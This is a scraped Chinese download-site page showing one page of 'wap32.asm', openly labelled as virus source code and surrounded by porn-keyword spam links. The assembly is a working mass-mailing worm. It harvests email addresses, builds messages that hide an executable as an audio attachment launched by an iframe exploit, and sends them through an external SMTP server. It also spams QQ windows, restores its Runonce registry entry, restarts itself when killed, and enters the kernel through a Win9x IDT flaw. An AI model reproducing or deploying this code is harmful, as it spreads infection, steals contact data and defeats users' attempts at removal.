亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關(guān)于我們
? 蟲蟲下載站

?? wap32.asm

?? 一個病毒源代碼
?? ASM
?? 第 1 頁 / 共 3 頁
字號:
	call	[esi.KnlLRead],ebx,eax,01
	pop	ecx
	pop	edx
	or	eax,eax
	jz	short CloseDbFile
	mov	eax,esp
	add	eax,20h
	cmp	edi,eax
	ja	short ScanEmailStr
	cmp	cl,'@'
	jz	short IsMailAtFlag
	cmp	cl,'.'
	jz	short IsMailDotFlag
	cmp	cl,30h
	jb	short IsMailAddr
	cmp	cl,39h
	jb	short StoreMailChar
	cmp	cl,41h
	jb	short IsMailAddr
	cmp	cl,7eh
	jb	short StoreMailChar
IsMailAddr:
	xor	eax,eax
	cld
	stosb
	cmp	dh,01
	jnz	short ScanEmailStr
	cmp	dl,01
	jb	short ScanEmailStr
	sub	edi,esp
	cmp	edi,6
	jb	short ScanEmailStr
	mov	al,[esp]
	cmp	al,'@'
	jz	short ScanEmailStr
	cmp	al,'.'
	jz	short ScanEmailStr
	call	FoundMailObject,esp
	jmp	short ScanEmailStr	
IsMailDotFlag:	
	inc	dl
	jmp	short StoreMailChar
IsMailAtFlag:
	inc	dh
StoreMailChar:
	mov	al,cl
	cld
	stosb
	jmp	short ReadDbFile
CloseDbFile:
	call	[esi.KnlLClose],ebx
	add	esp,100h 
EnumDbMailEnd:
	popad
	ret
EnumDbMail endp

EnumWabMail proc WabFile: dword
	pushad
	call	[esi.KnlLOpen],WabFile,0
	cmp	eax,-1
	jz	short EnumWabMailEnd
	mov	ebx,eax
	sub	esp,100h
	mov	edi,esp
	call	[esi.KnlLRead],ebx,edi,100h
	cmp	eax,100h
	jnz	short CloseWabFile
	mov	eax,[edi+60h] ;得到Unicode郵件名偏移
	call	[esi.KnlLSeek],ebx,eax,0
	mov	ecx,[edi+64h] ;得到Unicode郵件名個數(shù)
	cmp	ecx,1000h
	ja	short CloseWabFile 
ContReadWabMail:
	push	ecx
	call	[esi.KnlLRead],ebx,edi,44h ;讀一個記錄	
	sub	esp,100h
	mov	eax,esp
	call	[esi.KnlWideCharToMultiByte],0,200h,edi,-1,eax,100h,0,0
	call	FoundMailObject,esp
	add	esp,100h
	pop	ecx
	loop	short ContReadWabMail
CloseWabFile:
	add	esp,100h
	call	[esi.KnlLClose],ebx
EnumWabMailEnd:
	popad
	ret
EnumWabMail endp

MakeMailFile proc eMail: dword,hVirFile: dword,hEmlFile: dword
	local	OldEsp: dword
	pushad
	mov	OldEsp,esp
	sub	esp,1000h
	mov	edi,esp
	call	FormatMailHeader,edi,eMail
	call	[esi.KnlLWrite],hEmlFile,edi,eax
	sub	esp,1000h
	mov	[esp],eax
	sub	esp,1000h
	mov	[esp],eax
	sub	esp,1000h
	mov	[esp],eax
	mov	edi,esp
	call	[esi.KnlLRead],hVirFile,edi,3000h
	cmp	eax,-1
	jz	short MakeMailFileEnd
	mov	edx,esp
	sub	esp,1000h
	mov	[esp],eax
	sub	esp,1000h
	mov	[esp],eax
	sub	esp,1000h
	mov	[esp],eax
	sub	esp,1000h
	mov	[esp],eax
	mov	edi,esp	
	call	AnsiToBase64,edx,eax,edi
	call	[esi.KnlLWrite],hEmlFile,edi,eax
	mov	dword ptr[esp],0a0d0a0dh
	call	[esi.KnlLWrite],hEmlFile,edi,4
MakeMailFileEnd:
	mov	esp,OldEsp
	popad
	mov	eax,1
	ret	
MakeMailFile endp

SmtpSendMail proc eMail: dword,hVirFile: dword
	local	OldEsp: dword
	local	RetVal:	dword
	pushad	
	mov	OldEsp,esp
	mov	RetVal,0
	sub	esp,1000h
	mov	edi,esp
	call	[esi.WsWSAStartup],101h,esp
	or	eax,eax
	jnz	SendMailQuit
	call	[esi.Wssocket],AF_INET,SOCK_STREAM,0
	cmp	eax,-1h
	jz	ClearSocket
	mov	ebx,eax
	
	mov	[edi.sin_family],AF_INET
	call	[esi.Wshtons],25
	mov	[edi.sin_port],ax
	call	PushSmtpSrvr
	db	'btamail.net.cn',0
PushSmtpSrvr:
	call	[esi.Wsgethostbyname]
	or	eax,eax
	jz	CloseSocket
	mov	eax,[eax.h_ip]
	mov	eax,[eax]
	mov	[edi.sin_addr],eax
	call	[esi.Wsconnect],ebx,edi,size SOCKADDR
	cmp	eax,-1h
	jz	CloseSocket

	call	FormatMailHeader,edi,eMail
	call	[esi.Wssend],ebx,edi,eax,0
	call	[esi.KnlSleep],4000
	
	sub	esp,1000h
	mov	[esp],eax
	sub	esp,1000h
	mov	[esp],eax
	sub	esp,1000h
	mov	[esp],eax
	mov	edi,esp
	call	[esi.KnlLRead],hVirFile,edi,3000h
	cmp	eax,-1
	jz	CloseSocket
	
	sub	esp,1000h
	mov	[esp],eax
	sub	esp,1000h
	mov	[esp],eax
	sub	esp,1000h
	mov	[esp],eax
	sub	esp,1000h
	mov	[esp],eax
	mov	edx,esp
	call	AnsiToBase64,edi,eax,edx
	mov	edi,esp
	call	[esi.Wssend],ebx,edi,eax,0
	call	[esi.KnlSleep],4000
	
	call	PushMailEnd
	db	0dh,0ah,'.',0dh,0ah
PushMailEnd:
	pop	eax
	call	[esi.Wssend],ebx,eax,5,0
	call	[esi.KnlSleep],4000
	
	call	PushMailQuit
	db	'QUIT',0dh,0ah
PushMailQuit:
	pop	eax
	call	[esi.Wssend],ebx,eax,6,0
	call	[esi.KnlSleep],4000

	mov	RetVal,1
CloseSocket:
	call	[esi.Wsclosesocket],ebx
ClearSocket:
	call	[esi.WsWSACleanup]
SendMailQuit:
	mov	esp,OldEsp
	popad
	mov	eax,RetVal
	ret
SmtpSendMail endp

FormatMailHeader proc MailHeader: dword,eMail: dword
	local	MailHeaderLong: dword
	pushad	
	mov	eax,100h
	sub	esp,eax
	mov	edx,esp
	push	eax
	call	[esi.KnlGetComputerNameA],edx,esp
	pop	eax
	call	PushMailData
	db	'HELO btamail.net.cn',0dh,0ah
	db	'MAIL FROM: imissyou@btamail.net.cn',0dh,0ah
	db	'RCPT TO: %s',0dh,0ah
	db	'DATA',0dh,0ah
	db	'FROM: %s@yahoo.com',0dh,0ah
	db	'TO: %s',0dh,0ah
	db	'SUBJECT: %s is comming!',0dh,0ah		   
	db	'MIME-Version: 1.0',0dh,0ah
	db	'Content-type: multipart/mixed; boundary="#BOUNDARY#"',0dh,0ah
	db	0dh,0ah
	db	'--#BOUNDARY#',0dh,0ah
	db	'Content-Type: text/html',0dh,0ah
	db	'Content-Transfer-Encoding: quoted-printable',0dh,0ah
	db	0dh,0ah
	db	'<html><HEAD></HEAD><body bgColor=3D#ffffff><iframe src=3Dcid:THE-CID height=3D0 width=3D0></iframe></body></html>',0dh,0ah
	db	0dh,0ah
	db	'--#BOUNDARY#',0dh,0ah	
	db	'MIME-Version: 1.0',0dh,0ah
	db	'Content-Type: audio/x-wav; name="pp.exe"',0dh,0ah
	db	'Content-Transfer-Encoding: base64',0dh,0ah
	db	'Content-id: THE-CID',0dh,0ah
	db	0dh,0ah,0
PushMailData:
	pop	eax
	mov	edi,esp
	call	[esi.UserwsprintfA],MailHeader,eax,eMail,edi,eMail,edi
	mov	esp,edi
	mov	MailHeaderLong,eax
	add	esp,100h
	popad
	mov	eax,MailHeaderLong
	ret
FormatMailHeader endp

AnsiToBase64 proc AnsiBuff: dword,AnsiSize:dword,Base64Buff:dword
	local	nBase64Size: dword
	pushad
	mov	nBase64Size,0
	call	GetBase64Char
	Base64Char	db 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
			db 'abcdefghijklmnopqrstuvwxyz'
			db '0123456789+/',0
GetBase64Char:
	pop	esi ;esi=Offset Base64Char
	mov	edi,Base64Buff
	mov	edx,AnsiSize
	shl	edx,3 ;計算總位數(shù)	
	xor	ebx,ebx ;存索引
ContTurn:
	xor	eax,eax ;存數(shù)值
	mov	ecx,6
ContGetBit:
	shl	eax,1
	call	GetBit,AnsiBuff,ebx	
	dec	edx
	jz	short GetBitOver
	inc	ebx
	loop	short ContGetBit
	mov	al,[esi+eax]
	cld
	stosb
	inc	nBase64Size
	jmp	short ContTurn
GetBitOver:
	dec	ecx
	shl	eax,cl
	mov	al,[esi+eax]
	cld
	stosb
	inc	nBase64Size
	shr	ecx,1
	add	nBase64Size,ecx
	mov	al,'=' ;位數(shù)不夠添“=”號,一個等號代表兩位0
	cld
	rep	stosb
	xor	al,al
	stosb
	popad
	mov	eax,nBase64Size
	ret	
AnsiToBase64 endp

;AnsiToBase64子程序,得到一位的值
GetBit proc uses ecx edx esi,SrcStr:DWORD,nCx:DWORD
	mov	esi,SrcStr
	mov	ecx,nCx
	mov	edx,ecx
	shr	edx,3
	mov	dl,[esi+edx]
	not	cl
	and	cl,07h
	shr	dl,cl
	and	dl,01h 
	or	al,dl
	ret
GetBit endp
	
SetSehFrame:	;ecx=忽略錯誤繼續(xù)執(zhí)行地址
	pop	eax		;彈出返回地址
	push	ecx		;保存忽略錯誤繼續(xù)執(zhí)行地址
	call	PushExceptionProc
	jmp	short Exception
	db	0e9h		;靜態(tài)反匯編干擾
PushExceptionProc:
	push	fs:dword ptr[0]
	mov	fs:[0],esp
	call	GetSaveEspAddr
	push	dword ptr[edx]	;保存以前的Esp值
	mov	[edx],esp	;保存現(xiàn)在的Esp值
	jmp	eax
	db	0e9h		;靜態(tài)反匯編干擾

ClearSehFrame:
	pop	eax		;彈出返回地址
	call	GetSaveEspAddr
	mov	esp,[edx]	;恢復(fù)Esp值
	pop	dword ptr[edx]	;恢復(fù)原來的Esp值
	pop	fs:dword ptr[0]
	pop	ecx
	pop	ecx		;彈出忽略錯誤繼續(xù)執(zhí)行地址
	jmp	eax
	db	0e9h		;靜態(tài)反匯編干擾

GetSaveEspAddr:
	call	PushOffsetSaveEspAddr
	dd	?
PushOffsetSaveEspAddr:
	pop	edx
	ret
	db	0e9h		;靜態(tài)反匯編干擾

Exception proc pRecord,pFrame,pContext,pDispatch	
	call	PushSehBackProc
	call	ClearSehFrame	;自動清除意外Seh
	jmp	ecx
	db	0e9h		;靜態(tài)反匯編干擾
PushSehBackProc:
	pop	ecx
	mov	eax,pContext
	mov	[eax.cx_Eip],ecx
	xor	eax,eax		;忽略錯誤繼續(xù)執(zhí)行
	ret
Exception endp

UnzipVirusToFile: ;ebx=hFile
	call	GetVirusZipData
	db 04Dh,05Ah,050h,000h,001h,002h,000h,003h,004h,000h,001h,00Fh,000h,001h,0FFh,0FFh
	db 000h,002h,0B8h,000h,007h,040h,000h,001h,01Ah,000h,022h,001h,000h,002h,0BAh,010h
	db 000h,001h,00Eh,01Fh,0B4h,009h,0CDh,021h,0B8h,001h,04Ch,0CDh,021h,090h,090h,054h
	db 068h,069h,073h,020h,070h,072h,06Fh,067h,072h,061h,06Dh,020h,06Dh,075h,073h,074h
	db 020h,062h,065h,020h,072h,075h,06Eh,020h,075h,06Eh,064h,065h,072h,020h,057h,069h
	db 06Eh,033h,032h,00Dh,00Ah,024h,037h,000h,088h,050h,045h,000h,002h,04Ch,001h,004h
	db 000h,001h,0B5h,02Ch,0EFh,082h,000h,008h,0E0h,000h,001h,08Eh,081h,00Bh,001h,002h
	db 019h,000h,001h,002h,000h,003h,006h,000h,007h,010h,000h,003h,010h,000h,003h,020h
	db 000h,004h,040h,000h,002h,010h,000h,003h,002h,000h,002h,001h,000h,007h,003h,000h
	db 001h,00Ah,000h,006h,050h,000h,003h,004h,000h,006h,002h,000h,005h,010h,000h,002h
	db 020h,000h,004h,010h,000h,002h,010h,000h,006h,010h,000h,00Ch,030h,000h,002h,04Eh
	db 000h,01Ch,040h,000h,002h,00Ch,000h,053h,043h,04Fh,044h,045h,000h,005h,010h,000h
	db 003h,010h,000h,003h,002h,000h,003h,006h,000h,00Eh,020h,000h,002h,060h,044h,041h
	db 054h,041h,000h,005h,010h,000h,003h,020h,000h,003h,002h,000h,003h,008h,000h,00Eh
	db 040h,000h,002h,0C0h,02Eh,069h,064h,061h,074h,061h,000h,003h,010h,000h,003h,030h
	db 000h,003h,002h,000h,003h,00Ah,000h,00Eh,040h,000h,002h,0C0h,02Eh,072h,065h,06Ch
	db 06Fh,063h,000h,003h,010h,000h,003h,040h,000h,003h,002h,000h,003h,00Ch,000h,00Eh
	db 040h,000h,002h,050h,000h,0FFh,000h,0FFh,000h,0FFh,000h,06Bh,0C3h,0FFh,025h,030h
	db 030h,040h,000h,0FFh,000h,0FFh,000h,0FFh,000h,0FDh,028h,030h,000h,00Ah,038h,030h
	db 000h,002h,030h,030h,000h,016h,046h,030h,000h,006h,046h,030h,000h,006h,04Bh,045h
	db 052h,04Eh,045h,04Ch,033h,032h,02Eh,064h,06Ch,06Ch,000h,004h,053h,06Ch,065h,065h
	db 070h,000h,0FFh,000h,0B5h,010h,000h,002h,00Ch,000h,003h,003h,030h,000h,0FFh,000h
	db 0FFh,000h,0FFh,000h,0F9h,000h,000h
GetVirusZipData:
	pop	edi		;得到壓縮后的PE文件數(shù)據(jù)
ContUnZipVirus:
	mov	al,[edi]
	inc	edi
	or	al,al
	jz	short WriteVirusSomeBytes
	push	eax
	mov	eax,esp
	call	[esi.KnlLWrite],ebx,eax,01
	pop	eax
	jmp	short ContUnZipVirus
WriteVirusSomeBytes:
	movzx	ecx,byte ptr[edi]
	inc	edi
	jecxz	UnzipVirusEnd	;持續(xù)解壓,直到遇到雙0
ContWriteVirusBytes:
	push	ecx
	push	eax
	mov	eax,esp
	call	[esi.KnlLWrite],ebx,eax,01
	pop	eax
	pop	ecx
	loop	ContWriteVirusBytes
	jmp	short ContUnZipVirus
UnzipVirusEnd:
	ret
	db	0e9h		;靜態(tài)反匯編干擾

SendQQMsg proc Param: dword
	sub	esp,100h
	xor	esi,esi
BuildQQMsg:
	mov	edi,esp
	mov	ax,0a0dh
	mov	ecx,12
	cld
	rep	stosw		
	call	PushQQMsg
	mov	edx,[esp+esi*4]	
	add	esp,ecx
StoreQQMsg:
	mov	al,[edx]
	inc	edx
	cld
	stosb
	or	al,al
	jnz	short StoreQQMsg	
	call	PushQQWndText
	db	'發(fā)送消息',0
PushQQWndText:
	call	GetFindWindowA
	FindWindowA9x2k dd ?
GetFindWindowA:
	pop	eax
	call	[eax],0
	or	eax,eax
	jz	short WaitForQQWnd
	mov	ebx,eax
	call	GetGetWindow
	GetWindow9x2k dd ?
GetGetWindow:
	pop	eax
	call	[eax],ebx,GW_CHILD
	or	eax,eax
	jz	short WaitForQQWnd
	mov	ebx,eax
	call	GetSendMessageA
	SendMessageA9x2k dd ?
GetSendMessageA:
	pop	edi
	sub	esp,1000h
	call	[edi],ebx,WM_GETTEXT,1000h,esp
	add	esp,1000h
	or	eax,eax
	jnz	short WaitForQQWnd
	call	[edi],ebx,WM_SETTEXT,1000h,esp
	inc	esi
	and	esi,07h
	jnz	short WaitForQQWnd
	add	esp,100h
	ret
WaitForQQWnd:
	call	GetSleep
	Sleep9x2k dd ?
GetSleep:
	pop	eax
	call	[eax],500
	jmp	BuildQQMsg	
SendQQMsg endp
	db	0e9h		;靜態(tài)反匯編干擾

RegisterProtectProc proc hKey:dword
	mov	ebx,hKey	;注冊表保護過程,9x/2k實用	
	sub	esp,100h
	mov	edi,esp
	call	GetProtectKeyName
	db	'Runonce',0
GetProtectKeyName:
	pop	esi
	push	100h
	call	GetAdvRegQueryValueExA
	AdvRegQueryValueExA9x2k dd ?
GetAdvRegQueryValueExA:
	pop	eax		;讀出原始值保存在堆棧中
	call	[eax],ebx,esi,0,0,edi,esp
	pop	eax
WaitRegChangeNotify:
	call	GetAdvRegNotifyChangeKeyValue
	AdvRegNotifyChangeKeyValue9x2k dd ?
GetAdvRegNotifyChangeKeyValue:
	pop	eax		;等待注冊表改變通知
	call	[eax],ebx,0,4,0,0
	call	GetAdvRegSetValueExA
	AdvRegSetValueExA9x2k dd ?
GetAdvRegSetValueExA:
	pop	eax		;還原原始值
	call	[eax],ebx,esi,0,1,edi,100h	
	jmp	short WaitRegChangeNotify	
RegisterProtectProc endp
	db	0e9h		;靜態(tài)反匯編干擾

ProcessProtectProc proc ProcID:dword	
	call	GetKnlOpenProcess
	KnlOpenProcess9x2k dd ?
GetKnlOpenProcess:
	pop	eax	
	call	[eax],PROCESS_ALL_ACCESS,0,ProcID
	or	eax,eax		;打開進程
	jz	short ExitProtectProc
	mov	ebx,eax
	call	GetKnlWaitForSingleObject
	KnlWaitForSingleObject9x2k dd ?
GetKnlWaitForSingleObject:
	pop	eax		;等待進程結(jié)束
	call	[eax],ebx,-1h
	call	GetFileNameAddress
GetFileNameAddress:
	pop	ecx
	add	ecx,offset FullPath-offset GetFileNameAddress
	call	GetKnlWinExec
	KnlWinExec9x2k dd ?
GetKnlWinExec:
	pop	eax		;重起病毒進程	
	call	[eax],ecx,01
ExitProtectProc:	
	ret
ProcessProtectProc endp

ProcessProtectProcSize=$-offset ProcessProtectProc
FullPath	db 0e9h

MoveDataToKnl proc Src:dword,Des:dword,nCx:dword
	pushad
	push	eax
	sidt	[esp-2]
	pop	eax
	add	eax,3*8		;IDT03號
	mov	ebx,[eax]
	mov	edx,[eax+4]
	call	SetIdt03
	pushad
	mov	[eax],ebx   
	mov	[eax+4],edx
	cld
	rep	movsb		;復(fù)制代碼/數(shù)據(jù)到內(nèi)核代碼指定位置
	popad
	iret	
SetIdt03:
	cli    
	pop	word ptr[eax]
	pop	word ptr[eax+6]
	mov	esi,Src
	mov	edi,Des
	mov	ecx,nCx
	int	3;		;利用Win9x,IDT漏洞進入系統(tǒng)內(nèi)核
	sti
	popad
	ret
MoveDataToKnl endp
	db	0e9h		;靜態(tài)反匯編干擾

DbgMsg	proc pMsg:dword
	pushad
	mov	eax,pMsg
	call	[esi.UserMessageBoxA],0,eax,eax,0
	popad
	ret
DbgMsg	endp
	dd	0,0
VirusEnd:
	;這里是變形解密代碼
	ret

.code 

Msg	db	'Virus has running ok',0

Exit: 	
	call	MessageBoxA,0,offset Msg,offset Msg,0
	call	ExitProcess,L 0
 
end Start

?? 快捷鍵說明

復(fù)制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
欧美激情中文不卡| 欧美日韩成人在线一区| 国产精品美女久久久久久久久久久| 狠狠色狠狠色综合日日91app| 日韩精品一区二区三区四区视频| 久久精品国产99国产| 国产三级精品三级| 成人avav影音| 亚洲h在线观看| 日韩免费看的电影| eeuss鲁一区二区三区| 亚洲综合小说图片| 精品美女在线观看| 成人白浆超碰人人人人| 亚洲地区一二三色| 亚洲精品在线免费观看视频| 成人免费毛片app| 亚洲福利视频一区二区| 欧美成人综合网站| www.在线成人| 日韩av中文字幕一区二区| 久久蜜桃av一区二区天堂| 9l国产精品久久久久麻豆| 日韩成人一级大片| 国产精品青草综合久久久久99| 欧美日韩中文字幕一区| 久久爱另类一区二区小说| 中文字幕在线免费不卡| 这里只有精品电影| www..com久久爱| 免费人成黄页网站在线一区二区| 国产精品污网站| 日韩美一区二区三区| 色婷婷久久久久swag精品| 国模套图日韩精品一区二区| 夜夜操天天操亚洲| 欧美激情中文不卡| 日韩欧美中文字幕精品| 91麻豆产精品久久久久久| 老司机精品视频线观看86| 亚洲精品乱码久久久久久| 久久午夜色播影院免费高清 | 狠狠色综合色综合网络| 亚洲麻豆国产自偷在线| 久久久久久久综合色一本| 91精品国产综合久久蜜臀| 97精品电影院| 国产精品1区2区3区在线观看| 亚洲777理论| 一区二区三区四区高清精品免费观看 | 首页欧美精品中文字幕| 成人免费一区二区三区在线观看 | 国产精品久久久久久久久动漫| 日韩一级视频免费观看在线| 欧美色大人视频| 99精品视频一区二区三区| 国产精品1区二区.| 国产精品自拍网站| 美女爽到高潮91| 日本视频免费一区| 日日夜夜精品视频免费| 亚洲一区二区三区四区的 | 久久综合给合久久狠狠狠97色69| 欧美日韩成人综合天天影院| 在线一区二区视频| 欧洲精品视频在线观看| 一本到一区二区三区| 色哟哟一区二区三区| 91在线观看下载| 成人激情小说网站| av中文字幕一区| 波多野结衣中文字幕一区| 成人黄页在线观看| 成人av在线播放网址| 成人av电影免费在线播放| 99这里只有久久精品视频| av一本久道久久综合久久鬼色| 成人激情免费视频| 一本色道久久综合亚洲精品按摩| 91亚洲精华国产精华精华液| 色一情一乱一乱一91av| 欧美在线免费观看视频| 欧美视频一区二区三区| 在线播放91灌醉迷j高跟美女| 这里只有精品免费| 欧美精品一区二区在线观看| 久久综合av免费| 欧美激情艳妇裸体舞| 18成人在线观看| 亚洲大片在线观看| 精品午夜一区二区三区在线观看 | 99久久精品免费观看| 91免费视频大全| 欧美剧情片在线观看| 日韩欧美国产1| 中文字幕精品一区| 一区二区三区欧美激情| 日韩黄色在线观看| 国产麻豆午夜三级精品| 成人av在线资源网站| 欧美日韩一区 二区 三区 久久精品| 欧美猛男gaygay网站| 亚洲精品一区二区三区99| 中文字幕一区二区不卡| 午夜久久福利影院| 国产一区二区三区| 色噜噜偷拍精品综合在线| 日韩午夜三级在线| 国产精品国产三级国产aⅴ原创| 亚洲夂夂婷婷色拍ww47| 久久精品国产久精国产爱| 97久久超碰精品国产| 日韩一级视频免费观看在线| 欧美国产乱子伦 | 欧美日韩免费一区二区三区| 日韩免费在线观看| 亚洲精品久久久久久国产精华液| 免费看日韩精品| 色系网站成人免费| 欧美成人午夜电影| 亚洲影院免费观看| 国产成人久久精品77777最新版本| 欧美亚洲国产一区二区三区| 久久综合色天天久久综合图片| 亚洲最新视频在线观看| 国产成人免费高清| 日韩一级免费观看| 亚洲一线二线三线视频| 丰满岳乱妇一区二区三区| 日韩一区二区三区视频| 亚洲欧美激情在线| 国产一二三精品| 欧美一级欧美三级| 亚洲已满18点击进入久久| av激情综合网| 国产亚洲综合av| 麻豆精品视频在线观看视频| 在线视频中文字幕一区二区| 国产精品青草久久| 极品少妇xxxx偷拍精品少妇| 欧美二区乱c少妇| 亚洲国产日日夜夜| 99久久国产综合精品色伊| 国产无人区一区二区三区| 蜜臀av一区二区在线免费观看 | 久久国产精品99久久久久久老狼| www.欧美日韩| 国产欧美一区二区三区沐欲| 精品综合久久久久久8888| 日韩一区二区在线观看视频| 亚洲图片欧美视频| 97久久人人超碰| 日韩伦理免费电影| 91片在线免费观看| 亚洲婷婷综合色高清在线| 成人午夜激情片| 国产日产欧美一区| 国产iv一区二区三区| 国产免费成人在线视频| 国产精品99久久久久久宅男| 久久久久久久性| 国产很黄免费观看久久| 久久精品夜色噜噜亚洲a∨| 国产毛片精品国产一区二区三区| 久久先锋影音av鲁色资源网| 国产一区中文字幕| 久久精品亚洲精品国产欧美 | 一区二区三区四区国产精品| 色琪琪一区二区三区亚洲区| 亚洲精品国产精华液| 色综合中文字幕国产| 一区二区激情小说| 欧美日韩精品欧美日韩精品一| 性欧美疯狂xxxxbbbb| 717成人午夜免费福利电影| 麻豆精品精品国产自在97香蕉| 日韩视频在线一区二区| 国内精品视频666| 国产精品入口麻豆原神| 91麻豆蜜桃一区二区三区| 一级日本不卡的影视| 91精品国产综合久久精品图片| 麻豆国产欧美日韩综合精品二区| 精品噜噜噜噜久久久久久久久试看 | 免费观看日韩av| 久久众筹精品私拍模特| 99久久伊人久久99| 性感美女极品91精品| 日韩欧美aaaaaa| 成人综合在线网站| 亚洲精品成人少妇| 5566中文字幕一区二区电影| 久久激情五月激情| 国产精品国产三级国产aⅴ原创| 欧美系列一区二区| 久久精品国产亚洲高清剧情介绍| 国产日韩欧美a| 欧美日韩一级片在线观看| 久久国产精品色婷婷| 自拍偷拍国产亚洲|